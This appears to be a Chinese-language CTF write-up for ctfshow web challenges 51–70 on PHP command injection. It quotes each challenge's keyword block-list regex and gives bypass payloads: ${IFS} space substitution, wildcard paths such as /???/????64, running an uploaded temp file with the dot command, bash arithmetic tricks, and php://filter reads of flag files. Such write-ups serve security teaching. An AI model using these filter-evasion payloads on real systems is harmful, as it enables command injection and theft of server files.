rce漏洞-ctfshow(50-70)

Web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???
url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 " .bz2 " 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[]

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 " @ " 与 " [ " 之间。

Web57

对 -37 再次取反即可得到 36。

根据 ((\~ (()) ))=-1,我们进行拼接,构造出 -37

Payload:

bash 复制代码
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));
Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

相关推荐
一笑的小酒馆8 小时前
Android在ksp中简单使用Room
android
iOS技术狂热者9 小时前
多图超详细安装flutter&Android Studio开发环境,并配置插件
websocket·网络协议·tcp/ip·http·网络安全·https·udp
meimeiqian9 小时前
flutter android端抓包工具
android·flutter
Android技术之家9 小时前
谷歌决定终止开源Android以及对开发者的影响
android·开源
每次的天空11 小时前
Android Jetpack学习总结(源码级理解)
android·学习·android jetpack
木子庆五11 小时前
Android设计模式之代理模式
android·设计模式·代理模式
在雨季等你11 小时前
创业之旅 - 反思 - 整改 - 新的方向 - 诚邀
android
Long_poem11 小时前
【自学笔记】PHP语言基础知识点总览-持续更新
android·笔记·php
盛满暮色 风止何安12 小时前
VLAN的高级特性
运维·服务器·开发语言·网络·网络协议·网络安全·php